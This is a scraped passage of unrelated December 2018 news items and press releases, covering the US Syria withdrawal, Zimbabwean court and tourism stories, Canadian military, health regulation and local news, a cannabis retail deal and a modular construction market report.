Q&A, which Russian and foreign media attended in Moscow. From the New York Times: Mr. Trump said on Wednesday that he was ordering the withdrawal because the United States military had achieved its goal of defeating the Islamic State militant group in Syria. But the move caught many by surprise, including some of his military and diplomatic advisers. It has also drawn criticism, even among Republicans, for abandoning Kurdish allies in the fight against the Islamic State and for aiding the geopolitical ambitions of Iran and Russia in the Middle East. Speaking at his annual news conference, which typically runs for several hours, Mr. Putin said he broadly agreed that the Islamic State had been defeated in Syria. "Donald's right, and I agree with him," Mr. Putin said. "Donald" announced the decision to withdraw from Syria on Wednesday via a video posted to his Twitter feed. After historic victories against ISIS, it's time to bring our great young people home! pic.twitter.com/xoNjFzQFTp Donald J. Trump (@realDonaldTrump) December 19, 2018 Senator Lindsey Graham of South Carolina seemed surprised by the tweeted announcement, but lined right up to cheer Russian foreign policy goals achieved so deftly by the United States. What is this even? .Russia, Iran, Syria & many others are not happy about the U.S. leaving, despite what the Fake News says, because now they will have to fight ISIS and others, who they hate, without us. I am building by far the most powerful military in the world. ISIS hits us they are doomed! Donald J. Trump (@realDonaldTrump) December 20, 2018 RT's copy of Putin's remarks below. Here's a clip in which Putin describes the U.S. presence in Syria as "illegitimate. RT has the entire press conference here in video. We thank our sponsor for making this content possible; it is not written by the editorial staff nor does it necessarily reflect its views. Any modern-day gamer knows that the only way to properly get the most out of your console is to have access to its premium online subscription service. With these services, you READ THE REST SEATTLE, WA, Dec. 20, 2018 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- CFN Media Group (CFN Media), the leading agency and financial media network dedicated to the North American cannabis industry, announces publication of an article covering an exciting development in the cannabis retail space. Westleaf Cannabis Inc. and IGC Resources, who in October announced the intent to combine business operations, have entered into a definitive agreement to acquire a 21.4% interest in Canndara Canada Inc., a premium cannabis retail company with over 50 prospective retail locations throughout Canada; the agreement also includes the option for Westleaf to purchase the entire company. The strategic investment will result in one of the largest premium cannabis retailers in Canada with an unparalleled portfolio of prime real estate. Westleaf is a vertically integrated cannabis company with a specific focus on industry leading retail experiences and innovative product branding. The company is developing a national footprint of retail stores called Prairie Records which mimic the design and feel of record stores to create a shopping experience that is radically different from the head shops and Apple store knockoffs currently representing the cannabis industry. Its strategy is to focus only premium locations within densely-populated, high-traffic shopping and resort areas. Prairie Records racks will contain covers resembling the dust covers of records, but with information about product names, branding, strains, and THC/CBD content. The album cover concept leverages the instinctual connection between music and recreational cannabis, allows Prairie Records to operate and excel within the strict regulation of product packaging and merchandising, and allows customers to more deeply connect with chosen brands while also becoming educated about cannabis. We continue to be extremely impressed with both the quality and quantity of retail locations that the Canndara team has amassed and look forward to continuing to grow the portfolio with the goal of developing the largest cannabis retail company in Canada, said Scott Hurd, President and CEO of Westleaf. Our combined retail expertise and market relationships are expected to enable the continued addition of premium locations, greater market share, and acceleration of our retail development. As part of the transaction, Canndara will begin building Prairie Records stores to accelerate the rollout of the brand and portfolio. Current Canndara retail locations are at varying stages of development with 17 development permits awarded, and independently Westleafs plan for Prairie Records features a rollout of upwards of 30 retail locations by 2020 in markets across Western Canada, including its first Alberta location in Calgarys iconic Palace Theatre. "The synergy that exists between Canndara and Westleaf is rooted in our collective vision to build a leading cannabis brand in Canada, said John Radostits, CEO of Canndara. Our teams hard work to build a robust portfolio of strategic locations along with Westleafs strong team, the Prairie Records brand and unique retail strategy, have established a formula for success. Together, we are carving out our position as a trailblazer in the cannabis industry with a truly revolutionary cannabis purchasing experience for Canadians. Westleaf is proud to service the Saskatchewan community by launching a Prairie Records store in Warman, just north of Saskatoon, with an extended product offering through its e-commerce platform which will serve the entire province. Additional retail plans include evaluating and securing numerous cannabis retail options throughout Alberta, Saskatchewan, British Columbia and potentially Ontario (subject to provincial regulations), all in addition to Westleaf being added to the pre-qualified list for the Manitoba lottery for cannabis retail licenses. The transaction closes out a year of impressive growth for Westleaf, which successfully inked strategic partnerships with Tilray, VIVO Cannabis, and Delta 9 Cannabis, secured favourable debt financing with ATB Financial, and crafted a partnership with Thunderchild First Nation of Saskatchewan. Westleaf anticipates closing the reverse takeover transaction with IGC on December 28, 2018, with the resumption of trading to occur in early January 2019. For more information, please visit www.westleaf.com or www.prairierecords.ca Please follow the link to read the full article: http://www.cannabisfn.com/with-strategic-investment-westleaf-expands-retail-footprint/ About CFN Media For Visitors and Viewers CFN Medias Cannabis Financial Network (CannabisFN.com) is the destination for savvy investors and business people profiting from the worldwide cannabis industry. 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Mr Mandima attributed the rise in local tourist arrivals, especially by schools, to the new curriculum, which has introduced components of national heritage."Since January to date, a total of 61 676 tourists visited the Great Zimbabwe monuments almost beating the 2017 figure of 61 474 before the end of the year," said Mr Mandima.He said more tourists were expected to visit the the monuments this month compared to the year's monthly average. Mr Mandima said from October to end of November, the monuments recorded more than 19 000 arrivals, marking a notable increase compared to the previous year."We had 1 854 local visitors including schools in October and 674 foreign before the figure increased to 2 156 in November for locals. In the same month we received 419 foreign tourists and 7 963 locals from schools. We have already received 5 438 non-resident visitors compared to 6 446 arrivals we got the whole of last year," said Mr Mandima.He said the Great Zimbabwe monument was likely to atttract more visitors after its facelift being funded to the tune of US$475 000 by the US government.The grant meant to fund the restoration of the structures at the heritage site, was recently signed by the United States Ambassador, Mr Brain Nichols on behalf of his government. Apart from restoring some of the falling structures, the grant will also fund the upgrading of the security systems, combat the destructive herb, lantana camara and fund training of workers on how to preserve the monuments.Zimbabwe Tourism Authority (ZTA) chief executive, Karikoga Kaseke, has said Zimbabwe is targeting to attract at least three million foreign visitors this year after the country saw more than 2,4 million tourists, mainly from South Africa, visiting the country in the year 2017. News / National by Staff reporter Zimbabwe Stock Exchange-listed Meikles Limited has lodged a complaint to the Judicial Service Commission (JSC) against Supreme Court Judge Francis Bere over alleged conflict of interest in a ruling he made in favour of Widefree Investments against the quoted firm.In December 2013, Meikles Limited entered into a consultancy agreement with Widefree Investments trading as Core Solutions, a company linked to industrialist Joseph Kanyekanye. The mandate of the agreement was that Core Solutions would assist Meikles Limited in recovering funds owed to Meikles by the Reserve Bank of Zimbabwe.In a letter seen by Business Times, Meikles Limited is complaining to the JSC that Justice Bere was conflicted in delivering a judgment against Meikles under Case Number SC 503/18This is because Kanyekanye who is one of the directors at Widefree is a long standing client of Bere Brothers, a law firm founded by the judge and which has to this day Justice Bere's own brother as partner of the firm"Information has however come to my attention that gives rise to the suspicion that the conditions under which our Supreme Court case was heard did not meet the very high standards of impartiality and integrity that are associated with that Court," wrote Meikles executive chair John Moxon in a letter dated September 20.Moxon, in the letter said, information in the public domain shows that in 2013 when Joseph Kanyekanye appeared before Mutare Magistrates Court on criminal charges he was represented by Johane Zviuya of Bere Brothers.Further Bere Brothers are currently advising Kanyekanye's Core Solutions in a dispute that Core Solutions have with government over payment of funds to their client, a South Africa based company."This information is a serious concern to us as Meikles Limited as it raises the question of impartiality of our courts in the Core Solutions matter," the letter further reads.The background of the matter is that a dispute arose between the parties and the contract permitted a process of arbitration to be conducted in such event.In November 2015, Core Solutions through the arbitration process agreed to by the parties, filed a statement of claim of payment of about $2 million being outstanding principal commission and interest on recovery of part of the debt owed to Meikles by RBZ.The first issue of contention raised by Meikles upon receipt of the statement of claim was that the arbitrator was appointed without there being mutual agreement between the parties on the appointment of such arbitrator as was required by the contract between the parties. For reasons that remain unsatisfactory to Meikles, the arbitrator dismissed this point. Meikles proceeded to file an application for review of this decision in the High Court and to declare the appointment of the arbitrator ultra vires and contrary to the public policy of Zimbabwe.The High Court then ruled against Meikles.The hearing then continued before the arbitrator culminating in an award being given against Meikles. During the arbitration process, Meikles raised the issue of bias against it, from both the arbitration and chairman of the Arbitration Centre, Muchadeyi Masunda, but the former dismissed these concerns and the latter did not respond to correspondence directed to him on the matter.When Core Solutions sought to register the award with the High Court, Meikles opposed it on the basis that a legal process has been instituted to challenge the propriety of the arbitration process. Justice Muremba who heard the matter dismissed the Meikles position and gave an order in favour of Core Solutions."We proceeded to appeal this decision in the Supreme Court and this appeal was dismissed on a technicality as a payment fee of $29 was not done on time. The payment was subsequently made once the anomaly was communicated to our lawyers," the letter reads."We then applied for condonation on the grounds of administrative justice in that our appeal could not go unheard on such a mere technicality and this application was heard by Justice Bere in the Supreme Court (Case Number SC 503/18) and dismissed."Although it has been a source of great concern that none of the decisions in the arbitration process, the High Court and Supreme Court have been ruled in our favour regardless of what we perceive as solid and strong grounds supporting our various applications , we have accepted these decisions on the understanding that these rulings emanate from impartial adjudicators (with the exception of the arbitrator whose impartiality we constantly questioned with firstly Masunda and then the arbitrator himself Justice Moses Chinhengo and finally before the High Court)." Meikles Limited is therefore requesting the JSC to do an examination the circumstances in which its case was examined. News / National by Staff reporter Self-styled communications strategist William Mutumanje (Acie Lumumba) risks being slapped with heavy lawsuits after making damaging allegations against senior RBZ officials which later turned out to be false.The maverick former Zanu-PF youth league official has made sensational claims that he was paid $40 000 to discredit the four suspended RBZ top officials, as well as businessman Kudakwashe Tagwirei.The bombshell come after Mutumanje - who is more commonly known as Acie Lumumba - was last month briefly and irregularly appointed as the head of a communications taskforce in the Finance ministry.Ncube was later pressured to sack him after he made staggering allegations on Facebook, on supposed illegal foreign currency dealings at the central bank - claims which shook Zanu-PF and the government to their core.In his social media blast, Mutumanje named the four senior RBZ officials and Tagwirei as being at the centre of illegal foreign currency dealings - leading to the precautionary suspension of the central bank executives by governor John Mangudya.The RBZ says an investigation into allegations of "corrupt activities and illicit currency dealings" against four directors who were suspended in October has not turned up any evidence.Mirirai Chiremba, Norman Mataruka, Gresham Muradzikwa and Azvinandawa Saburi were suspended after political activist William Gerald Mutumanje claimed in a Facebook Live broadcast that they were part of a "cartel" responsible for criminal activities ranging from printing off-the-books bond notes to the corrupt allocation of foreign currency.He claimed the quartet were also aiding a fuel cartel headed by a "Queen Bee" later revealed by Mutumanje to be a reference to Sakunda boss, Kudakwashe Tagwirei.Chiremba, the RBZ's director in charge of Financial Intelligence, was arrested last week accused of approving an upward review of the foreign currency withdrawal limit of a gold dealer without following procedures. That arrest was unconnected to the Mutumanje allegations.In a statement dated December 10, but only circulated on Thursday, RBZ governor John Mangudya said the four had been "absolved of any wrongdoing"."The central bank and the law enforcement agents carried out an investigation which on conclusion have revealed that Messrs Chiremba, Mataruka, Muradzikwa and Saburi were not involved in the corrupt activities or any impropriety as alleged by Mutumanje. The RBZ would thus like to advise the public that the quartet has been accordingly absolved of any wrongdoing," Mangudya said.Mutumanje, who later tried to reach out to Tagwirei, was recorded by one of Tagwirei's associates admitting to being paid $40,000 through the facilitation of Christopher Mutsvangwa, a former adviser to President Emmerson Mnangagwa, to smear the RBZ directors and the powerful Sakunda boss. News / National by newzimbabwe FORMER cabinet minister Saviour Kasukuwere, 48, who is facing several criminal offences intends to travel abroad for medical attention, a Harare Court heard on Wednesday.Kasukuwere advised Harare magistrate Hosea Mujaya of the development after his trial was postponed for the 8th time pending the High Court determination of his application to have charges against him dropped.The former local government minister did not state his ailment although he brought a letter from his doctor confirming that he is unwell and needs to be treated abroad."Your Worship, the state has been given notice that the accused intends to apply for temporary release of his passport for medical reasons."He intends to travel for medication and there is a letter from his doctor Tinashe Gede, a specialist physician, confirming the situation," said defence lawyer Advocate Thembinkosi Magwaliba.In response, special anti-corruption prosecutor Zivanai Macharaga said he would need to verify the authenticity of the letter.Kasukuwere will apply for the release of his passport on January 3 next year.The former Zanu-PF politician once sought the release of his passport in November saying he needed to travel aboard on business.Kasukuwere told court that he wanted assist in the importation of basic commodities considering the economic hardships being faced by the country.He however, abandoned his intention after the state piled a lot of queries about his intended trip.Meanwhile, the High Court has reserved judgement on his bid to have the charges to be quashed.Kasukuwere is facing three criminal abuse of office charges and another of contravening the Procurement Act. News / National by Mandla Ndlovu Two women from South Africa who lost their passports have been reportedly detained in Chikurubi prison in Harare without charge or trial for the past nine months.This was revealed by veteran journalist Gilbert Nyambabvu on Thursday.More to follow News / National by Mandla Ndlovu It was with great honour and humility that I accepted to serve as a member of the advisory committee to the Minister of Information, Communication and Technology (MICT) of Kingdom eSwatini, Her Royal Highness, Princess Sikanyiso Dhlamini with immediate effect. pic.twitter.com/y8eVGCDPJN Dr. James Makamba (@MakambaJames) December 19, 2018 Business tycoon James Makamba has been appointed to serve as a member of the advisory committee to the Minister of Information, Communication and Technology (MICT) of the Kingdom of ESwatini. The appointment is with immediate effect.Makamba will be advising Her Royal Highness, Princess Sikhanyiso Dlamini the daughter of King Mswati.Other members of the advisory committee include: Prince Africa Zulu, Head of Onkweni Royal House in South Africa; Managing Director of Standard Bank South Africa, Mvuselelo Fakudze; Vice President of His Nan Bank in Taiwan, Tommy Lin and UK-based IT technocrat: John Mathwasa.Speaking in a statement Makamba said, "I am pleased to join a team of experts and well-respected business leaders and together we will complement Her Royal Highness, the Honourable Minister, in her task of enhancing and transforming eSwatini's economy through innovative information and communication technology."My generation with its considerable experience in business has a historic obligation to avail this knowledge to policy makers and pass it on to young African upcoming entrepreneurs. It is with this historic sense of duty that I was honoured to accept Her Royal Highness' invitation to serve on the MICT advisory committee."James Makamba is a pioneer and innovator in many African markets. An accomplished entrepreneur with a wide-ranging portfolio of interests covering telecommunications, broadcasting, media, retail, mining and consultancy.Makamba serves as a trustee of the Bongi Ngema Zuma Foundation, sits on the boards of Ibbamo Foundation, JHL Investments, Thurlow and Company, the Kestrel Corporation (Pty) Ltd, African Business Connect, and The Makamba Group. A Canadian military surveillance aircraft monitoring United Nations sanctions was harassed in international airspace off North Korea by the Chinese military part of "a pattern of behaviour that's inappropriate," Canada's top military commander said Wednesday. The incident involving a CP-140 Aurora, which has since returned home, took place in October as allied nations monitored the sea lanes for cargo ships and tankers intent on violating embargoes imposed on North Korea by the UN Security Council. "We have been interfered with on our flights in the area and been challenged inappropriately in international airspace," Chief of the Defence Staff Gen. Jonathan Vance said in a year-end interview with CBC News. The Chinese, he said, flew too close to the sophisticated maritime patrol planes, used improper radio procedure and "inappropriate language." Vance referred questions about the specifics to National Defence officials, who were less than forthcoming. They conceded having "contact with the Chinese Air Force operating" near North Korea and insisted that "at no time were our crews or aircraft put at risk." Tensions with China spiking Japan, Australia and New Zealand also have conducted enforcement flights and Vance said their aircrews have experienced similar harassment. The Canadian patrol planes conducted 12 missions off North Korea in October and ran across the Chinese air force on 18 occasions. Of those 12 missions, four had no interactions with Chinese military aircraft, one had a single interaction and seven had "multiple interactions," says a statement from National Defence. Some in the diplomatic community, speaking on background Wednesday, said they see the incidents as China attempting to remind the West that they're in a region that is very sensitive to them one where they are the predominant power. The badgering involving the Canadian patrol aircraft happened before the recent spike in tension over Chinese telecommunications giant Huawei including the arrest in Vancouver of a top company executive, Meng Wanzhou, 46, and the detention of three Canadian citizens in China. Story continues Canadian warship HMCS Calgary and the supply ship MV Asterix recently returned to Esquimalt, B.C. from sanction enforcement patrols in the North Korea region. Vance said their experience was different and they "did not face overt interference, but it's made very clear to anybody that's in that region that you're in China." The Canadian military has, along with its allies, also faced "a persistent cyber threat that we are relatively well-poised to counter," said Vance. But the recent sanctions-related provocation represents a troubling "pattern of behaviour" that undermines freedom of navigation, both on the sea and in the air, he said. Vance said it also has important implications for Canada especially when it comes to Beijing's increasing interest in the Arctic. In a major policy statement earlier this year, China declared itself a "near-Arctic state" and promised to build a "Polar Silk Road" along Canada's northern border. "China attaches great importance to navigation security in the Arctic shipping routes," says the country's Arctic Strategy, which was published by Chinese state media in January. Beijing's overall policy, officially known as the 'Belt and Road Initiative', involves plans to open up new trade corridors through the construction of new ports, roads, rail links and trade agreements around the globe. China has spent tens of billions of dollars on oil and gas projects in Siberia and in waters off Russia. State-owned mining companies have also bought into rich mineral deposits in Greenland. War in the Arctic still unlikely: Vance Adam Lajeunesse, a fellow at the Canadian Institute for Global Affairs, argued in a new policy paper that all of the activity and posturing by China "is not a direct threat to Arctic-state interests and that mutually productive activity is possible." He said the threat is being overblown and "the values espoused in the Chinese document environmental preservation, co-operation, consultation, support for Indigenous communities and science-based policy-making strike many of the same chords as Canadian policy under the Liberal Party." Vance said he does not believe there is a threat of military confrontation in the Arctic, but he worries about China's tactics of intimidation and its willingness to ignore international rules which Beijing has demonstrated with its construction of artificial islands in disputed areas of the South China Sea. "China is a valued trading partner. China is a valued member of the international community," he said. "China has enormous influence and stakeholdership in that part of the world. "We respect that. We all do, but there is another side of the coin. At the same time, we face challenges." The threats are not "insurmountable" and can be handled through diplomacy and dialogue, Vance said. China does not pose the same type of challenge as Russia, which has demonstrated its own willingness to ignore international rules. The lessons, Vance said, should not be lost on leaders and policymakers. "For countries like Canada, any disturbance or the failure to abide by [international] norms can indicate problems. "Ask Ukraine. Ask any nation that has had a belt and road initiative forced upon it." The father of a missing University of Regina student will meet with Regina's police chief before returning to Nigeria. David Chukwudum landed in Regina on Nov. 30 to search for his son Promise 'Max' Chukwudum, who was last seen on Nov. 17 near Marshall Crescent in the Normanview neighbourhood. Promise, a 19-year-old rugby player and University of Regina computer science student, moved to the city last year as an international student. Police chief Evan Bray characterized the investigation into Chukwudum's disappearance, categorized as a missing person's case, as "robust." SRC Bray said he met with Promise's father and his sister for a second time Tuesday and plans to meet once more before David leaves next week. He said he did not divulge details of the investigation, but emphasized the diligence police are taking with the case. "Our goal and our focus is to find Max and then try and put together the story of what happened from the time that he went missing until the time that he was located." Bray also said they discussed contact details to ensure David is kept updated on the search. Rallies have been held and search parties formed to try to find Chukwudum. Regina police have also been asking residents in different parts of the city to search their properties for any signs of the student. A family spokesperson said another search will take place on Sunday afternoon, when people will scour fields and properties around Rambler Park, near the Italian Club, on 13th Avenue. -With files from Radio-Canada's Omayra Issa A group of Halifax firefighters made a weekend trip to Worcester, Mass., to help bury a fellow firefighter killed while battling an apartment building fire Dec. 9. Six members of Halifax Fire's pipe and drum band and two honour guard members, along with more than 1,000 others, paid their respects Saturday to Christopher Roy, 36, of the Worcester Fire Department. Michael Sears, a fifth-generation firefighter who lives in Dartmouth, said he got a call from the Worchester department's pipe major who wanted to know if Halifax members would be coming. The group left Friday and returned Sunday night. The Halifax pipes and drums band has performed with the Greater Boston fire department's pipes and drums, both in Boston and in Halifax, Sears said. "They kind of refer to us as their sister band. So we're really tight with those guys and then, because of that relationship, got to meet a lot of the other department members throughout Massachusetts." Ashley Green/Worcester Telegram & Gazette/The Associated Press Pipes and drums bands in the fire service have a long history, he said. Many members throughout the years have come from Celtic and Irish backgrounds and playing at funerals has been a tradition, said Sears, a 15-year veteran of Halifax Regional Fire & Emergency. Roy was a single father of a nine-year-old girl, Ava. To help his daughter remember her father, the Halifax group contributed their uniform patches to a collection organized by a local firefighter. "It's hard on the day, all you see is a swarm of uniforms," Sears said. Rick Cinclair/Worcester Telegram & Gazette/The Associated Press Ava Roy can later hold and look at the patches, tangible signs of the people who came and showed their support, he said. It's one of a number of trips Halifax firefighters have made to Massachusetts following tragedy, including the 2011 funeral of a Worcester firefighter and in 2014 for two Boston firefighters killed on the job. In 1999, Sears said a large group of firefighters went down when Worcester lost six members in a fire at an abandoned cold storage building. Roy's death came only days after Worcester marked 19 years since that fire. Story continues Union Fire Club Pipes and Drums/Facebook The sight of the ladder truck that carried Roy to his last call, and which would return to the station without him, was particularly moving to Sears. "The door handle got me. How many times we grab the door handle and get on the truck to go to a call, to go to a fire much the same as that guy got in and went. He never thought a few days later it would be sitting in front of that church," he said. He said members of other Maritime fire services also attended. "It's very much a family, very different from a lot of other jobs. At times like this, we all come together and support each other. We know the job we do is dangerous and it could happen to any one of us at any time," Sears said. "It's a really hard job to explain to anyone unless you've done it and been part of it. We're a pretty tight-knit community." Dublin, Dec. 20, 2018 (GLOBE NEWSWIRE) -- The "Modular Construction Market by Type (Permanent, Relocatable), Material (Precast concrete, Steel Wood, Plastic, Others), End-use sector (Housing, Commercial, Education, Healthcare, Industrial), and Region - Global Forecast to 2023" report has been added to ResearchAndMarkets.com's offering. The author projects that the modular construction market will grow from USD 112.42 billion in 2018 to USD 157.19 billion by 2023, at a CAGR of 6.9%. Growth in infrastructure investment and industrialization, ease of installation and relocation, and the demand for affordable housing drive the growth of the modular construction market. The housing segment is projected to account for a larger share through 2023. The cost-effectiveness and time-saving characteristics of this technology have contributed toward its use for developing buildings. Furthermore, it offers numerous benefits in terms of quality control, faster build times, greater flexibility and reuse, cost savings, and environmental benefits. The segmentation for this report is based on type, material, module, end-use sector, and region. Housing is projected to be the fastest-growing end-use sector segment of the modular construction market. In this sector, the demand for modular construction is expected to be driven by the demand for affordable housing with time-saving characteristics. Countries are turning toward the adoption of modular construction methods to meet the rising demand for housing that is eco-friendly and cost-effective due to efficient in-factory processes and reduced waste. By material, the market has been segmented into steel, precast concrete, wood, plastic, and others. Each material differs from others on the basis of advantages and limitations. In 2017, steel accounted for the largest share of the modular construction market. Design flexibility, strength, structural integrity, durability, security and fire resistance, and reduced need for repairs and maintenance throughout a building's life have contributed toward the extensive use of steel in modular construction. Permanent modular construction dominated the market in 2017, in terms of value, as a result of the rising need for affordable houses, coupled with the high-quality control in comparison to on-site construction. Permanent modular construction is widely employed in numerous sectors, including residential, office and administrative spaces, K-12 education, retail and hospitality, healthcare, higher education student housing, and publicly-funded facilities. Asia Pacific dominated the modular construction market in 2017, in terms of value. China contributes a major share to the Asia Pacific modular construction market. Increasing urbanization, increasing demand for buildings at affordable costs, and favorable policies and plans are driving the demand for modular construction in the region. Chinese prefabrication manufacturers are further collaborating with global manufacturers to solve their crisis for houses. For instance, UK's Your Housing Group signed a deal of USD 2.77 billion with the state-owned China National Building Material Company. Under this project, 25,000 new homes would be constructed over the next five years. Modular Construction Market Asia Pacific is also projected to be the fastest-growing market for modular construction from 2018 to 2023. The growing demand for better quality construction, shorter construction time, and a safer working environment are some of the factors that are expected to boost the growth of the modular construction market in the region. Lack of awareness about modular construction and volatility in the transportation charges are the key challenges in the growth of the modular construction market. The global modular construction market is dominated by players such as Laing O'Rourke (UK), Red Sea Housing (Saudi Arabia), ATCO (Canada), Bouygues Construction (France), VINCI (France), Skanska AB (Sweden), Algeco Scotsman (US), KLEUSBERG GmbH & Co. KG (Germany), KEF Katerra (India), and Lendlease Corporation (Australia). Opportunities Increase in population and rapid urbanization translating to a large number of new construction projects The ever-increasing population as well as industrial boom after the economic slowdown has given rise to new constructions, both commercial and residential. Moreover, the migration of rural population to urban areas and the conversion of towns into cities have further fueled the growth rate. According to the Population Reference Bureau, China, India, and other Asia Pacific countries accounted for a combined population exceeding 4.1 billion in 2016, while the Asia-Pacific Human Development Report published by United Nations Development Programme, projects that the total population in Asia Pacific to reach 4.84 billion by 2050, of which 64% is projected to be urban population. This is expected to rise demand for new construction projects, over the next two decades, owing to rapidly rising household incomes and the growing middle-class population. Asia Pacific is projected to witness the highest number of new constructions between 2017 and 2022. The construction spending during this period in China is expected to be 7.3%, by 2020; for India, it is expected to be 7%; while for Vietnam, it is expected to be 6.8% of the global construction spending, according to Asia Construction Outlook survey conducted by AECOM (US). The positive change in living standards and rapid urbanization are expected to shift the inclination of the suppliers and consumers toward modular construction. Multinationals adopting modular construction Multinational construction companies have started turning to modular construction to get the projects done owing to its superior benefits in terms of quality control, cost savings, faster build times, and environmental benefits. Quality control is the prime factor that have contributed towards the rising adoption of modular construction by construction companies. Unlike conventional construction techniques, modular structures are built in a factory-controlled environments which eliminates the chances for high levels of moisture being trapped in the new construction and reduces imperfections like lumber warp. Furthermore, modular construction has faster build times which directly reduces build times, due to elimination of weather delays which allows contractors to complete daily build goals. This helps the company to encash the buildings structures in comparatively less time. The increasing adoption of modular construction technique by construction companies creates an opportunity for the growth of modular construction market in the coming years. Challenges Lack of awareness The construction industry is considered to be slow and conservative in adopting innovative and new technologies. The construction sector comprises numerous small suppliers; its R&D budget is also limited in comparison to other sectors. Modular construction market has a positive outlook due to high growth in the construction industry. However, in some developing or underdeveloped countries of the Asia Pacific region as well as in Africa and South America, people are less aware of this construction method and the benefits it offers. People perceive modular buildings to have a shorter life or unable to sustain natural calamities. There is also lack of awareness about the recyclability of modular buildings in the emerging economies in Africa and South America. For the growth of this industry, it is important to educate customers regarding the positive effects of modular construction on the environment and the way it can contribute to a healthy lifestyle. Volatility in transportation charges can create an unpredictable business environment The modular construction industry relies heavily on carriage facilities for the transportation of raw materials from the supplier and to move the modules from the factory to the site of installation. As long as the transportation is available at a reasonable price, the production can be carried out smoothly. However, transportation charges are highly volatile. If the prices rise, the cost of the overall production also increases, as it not only increases the transportation cost of the modules but also raises the raw material cost for the manufacturer, which results in inflated prices of modular buildings for the end users. Thus, volatility in transportation charges leads to an unpredictable business environment in modular construction market. Companies Mentioned Algeco Scotsman Alta-Fab Structures Art's Way Manufacturing Atco Bouygues Construction Cimc Modular Building Systems Holding Clayton Homes Dubox Fleetwood Australia Guerdon Enterprises LLC Hickory Group Horizon North Logistics J.D. Irving Kef Katerra Kleusberg GmbH & Co. Kg Koma Modular Kwikspace Modular Buildings Laing O'rourke Lendlease Corporation Modular Space Corporation NRB Inc. Red Sea Housing Skanska AB Vinci Wernick Group Westchester Modular Homes For more information about this report visit https://www.researchandmarkets.com/research/3wx2x8/global_150?w=12 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Health Canada announced new measures Thursday to improve the safety, effectiveness and quality of medical devices. Following the Implant Files investigation, a growing number of countries have said they will better track medical implants and warn patients of potential problems faster by creating or expanding medical device registries. Health Canada did not mention a registry but said its strategy aims to improve: How medical devices get on the market. Monitoring and followup for devices already in use. How much information Canadians have about higher-risk medical devices. Health Canada said it will start to create a new expert advisory committee on women's health issues for drugs and medical devices by January. Patients will be invited to participate. The women's health committee will first examine devices such as breast implants, vaginal meshes and contraceptive implants, Dr. Supriya Sharma, chief medical adviser for Health Canada, told reporters. Device registration mandated Currently, some manufacturers give patients a card when a device is implanted that gives information. Sharma said it will add terms and conditions to the licensing of medical devices to provide more details. "I would encourage all patients if they're having a procedure to ask if there's a medical device that's involved, to ask what the name of it is, to get that information," Sharma said. "Currently it is mandatory for certain devices, and we're expanding the scope." Health-care institutions will also be required to report incidents to Health Canada and clinics will be encouraged to do so. 'Long overdue' "The principles of what they're trying to achieve are are excellent, " said Dr. Andrew Krahn, a cardiologist in Vancouver and president of the Canadian Cardiovascular Society. "They are long overdue." Krahn is concerned about Health Canada's "passive approach" to regulating medical devices. For instance, the regulator is increasing the number of inspectors without investing in getting information into a centrally managed system, he said. Story continues The action plan "talks about accessing information sources outside of hospitals, but quite frankly they're not even collecting most of the information from hospitals," he said. "So adding nursing homes and long-term care facilities and even private clinics, some of which have digital versions but some of them are literally printing paper, or not keeping records on device performance." The regulator has also proposed to allow health-care professionals to conduct "investigational testing" of medical devices by June 2019. This brings medical devices in line with how drugs are regulated, Sharma said. Device manufacturers will also be required to notify Health Canada within 72 hours when foreign regulators warn about serious risks related to implants. Nonie Wideman, 63, of Fort St. John, B.C., said a plastic mesh she had surgically implanted to support her bladder gave her debilitating health problems. Wideman paid to have the device removed and said she had no emotional support or a hotline. "Without the International Consortium of Investigative Journalists, I would have never got the information that my device was tested on a sheep and a cadaver. And I had been told by Health Canada that my device would have been tested for biocompatibility, so it's going to be hard to convince me that they're going to follow through with everything they say." CBC News is part of a global media collaboration with Radio-Canada, the Toronto Star and the Washington-based International Consortium of Investigative Journalists that examined tens of thousands of medical devices and how they're made, approved and monitored by regulators worldwide. TOKYO (Reuters) - Japan's Coincheck Inc will win approval to operate as a licensed cryptocurrency exchange from the country's financial regulator this month after improving its governance in the wake of one of the biggest digital money thefts earlier this year, a source told Reuters. The source declined to be named because the decision has not been formally announced yet. Coincheck could not be immediately reached for a comment. Coincheck in March repaid about 46 billion yen ($409.51 million) to investors who lost assets in a $530 million heist, one of the biggest of digital money globally. Coincheck, which had been operating on a provisional basis while regulators were considering its application for a license, has been ordered twice to improve its internal controls. Monex, Japan's third-largest online brokerage, in April completed a 3.6 billion yen acquisition of Coincheck, in the most significant move yet by a major financial company into Japan's crypto industry. (Reporting by Takahiko Wada; Editing by Himani Sarkar) Members of the union bargaining team at Many Rivers Counselling and Support Services say management is refusing to see reason. The striking workers are marking their 50th day on the picket lines this week. Close to 20 employees at offices in Whitehorse, Dawson City, Haines Junction and Watson Lake are affected. Kim Rogers said during the many months of bargaining leading up to the strike they made every concession they were willing to make. "We've been backed against the wall," said Rogers. "There's really nowhere else for us to go in this negotiation." Dave Croft/CBC Larissa Korns, one of the counsellors, said they've received a response from the non-profit society's negotiator indicating management is not prepared to make a better offer. She said one of the key points management won't give on is flexibility for the employees to set their own hours. Korns said that would allow counsellors to come in a bit early to prepare for an early client, or stay late to finish some paperwork. Their local president Brandon Murdoch said the non-profit society isn't willing to treat its employees with the same respect it promises to clients. Dave Croft/CBC "When you look at the vision and the values of what the board is supposed to be doing, they are responsible for the organization," said Murdoch. "The staff are part of the organization." The president the Yukon Employees Union, Steve Geick, said the board is not going to win. "We have the resources and the will of the Public Service Alliance of Canada, with 180,000 members across this country. And we're not going anywhere," he said. Neither the president of the society's board, Marina Bailey, nor its executive director Brent Ramsay, responded to CBC's request for comment. Yellowknife Food Rescue is getting a $10,400 Christmas present this year thanks to a group of amateur bakers and their Northern gingerbread scene. The Yellowknife entry into Engineers Canada's Feats of Gingerbread Holiday Challenge recently won the most votes for their 'Christmas at the Treeline' gingerbread scene. It includes a tipi, igloo and the Northern lights. "It was pretty amazing, [we felt] sort of disbelief," said Jennie Rausch, one of the team members. The team included Rausch, Kelly McLaughlin, Alex Giroux, Delia Cheworth, and Amy Wilkinson two engineers, a teacher, a lawyer, and a biologist. "When we initially started we thought 'Oh we're going to do this for fun, raise a bit of money for our local charity and give it a go,'" said Rausch. "Then, part-way through we realized we could actually win this thing." Steve Silva/CBC It took about five hours to put the display together, but that doesn't include the extra time that went into baking and planning, Rausch explained. It also took a bit out of their usual plans for their own holiday baking. "I admit, all my Christmas baking had a ginger theme this year, I kind of had ginger on the mind this year," she said. For Food Rescue, the 